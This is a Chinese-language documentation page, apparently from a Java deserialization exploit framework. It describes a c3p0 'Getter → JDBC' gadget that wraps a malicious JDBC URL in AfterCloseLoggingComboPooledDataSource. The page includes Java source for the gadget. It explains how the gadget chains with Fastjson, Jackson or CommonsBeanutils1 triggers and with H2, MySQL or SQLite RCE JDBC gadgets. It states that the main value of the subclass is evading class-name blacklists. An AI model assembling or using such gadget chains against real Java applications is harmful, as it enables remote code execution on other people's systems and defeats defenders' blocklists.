- 类别:javanative 别名:— 优先级:—
- 作者:Unam4、Springkill
- 依赖:
c3p0(com.mchange.v2.c3p0)
与 C3p0DataSource 完全同构的「Getter → JDBC」桥接构件,唯一区别是把 DataSource 载体从 ComboPooledDataSource 换成其子类 com.mchange.v2.c3p0.debug.AfterCloseLoggingComboPooledDataSource。二者行为一致(setJdbcUrl 后经 getConnection() 触发 JDBC URL 利用),换类名主要用于绕过针对 ComboPooledDataSource 类名的黑名单/检测。
- 入口
tags:DataSourceChains、Getter、Serializable—— 承接会调用getConnectiongetter 的上一环;自身可序列化。 - 衔接
nextTags:JdbcUrlChains—— 之后接构造恶意 JDBC URL 的 gadget,见 H2JavaJdbc1 等。 excludes:无。
private final String getterMethodName = "getConnection";
private final String getterPropertyName = "connection";
public Object getObject(String jdbcUrl) {
AfterCloseLoggingComboPooledDataSource dataSource =
new AfterCloseLoggingComboPooledDataSource(); // ← 唯一差异:子类载体
dataSource.setJdbcUrl(jdbcUrl);
return dataSource;
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
String jdbcUrl = (String) chain.doCreate(context);
context.put(ContextTag.SUPER_CLASS_NAME_KEY, DataSource.class);
context.put(ContextTag.SPECIAL_METHOD_NAME_KEY, "getConnection");
context.put(ContextTag.GETTER_PARAM_NAME_KEY, "connection");
return this.getObject(jdbcUrl);
}AfterCloseLoggingComboPooledDataSource继承自ComboPooledDataSource,同样实现DataSource并暴露getConnection();setJdbcUrl/getConnection语义与父类一致,故利用路径完全相同。invoke同样向 context 注入SUPER_CLASS_NAME_KEY=DataSource、SPECIAL_METHOD_NAME_KEY="getConnection"、GETTER_PARAM_NAME_KEY="connection",供上游 getter 型 gadget 定位触发方式(详见 C3p0DataSource 源码剖析)。- 换用位于
com.mchange.v2.c3p0.debug包的子类,可在防御方仅拉黑ComboPooledDataSource全名时提供替代载体。
本类无独立 @Param;恶意 JDBC URL 由下游 JdbcUrlChains gadget 经 chain.doCreate 提供。
- 依赖 c3p0 且 classpath 存在
com.mchange.v2.c3p0.debug.AfterCloseLoggingComboPooledDataSource(部分精简版 c3p0 可能不含 debug 包,此时应回退到 C3p0DataSource)。 - 与 C3p0DataSource 一致:需上游能触发
getConnectiongetter;最终能力取决于所配 JDBC URL(H2 最常用)。 - 主要价值是黑名单绕过(类名差异)。
自由构件,未直接出现在预设链(usedInChains 为空)。可作为 Fastjson/Jackson C3p0 h2 链中 C3p0DataSource 的替换件。
- 上游(触发
getConnectiongetter):CommonsBeanutils1、Fastjson、Jackson。 - 下游(
nextTags=JdbcUrlChains):H2JavaJdbc1、MysqlJdbc、SqliteRceJdbc等。 - 同族:C3p0DataSource(标准
ComboPooledDataSource载体,已入预设链)。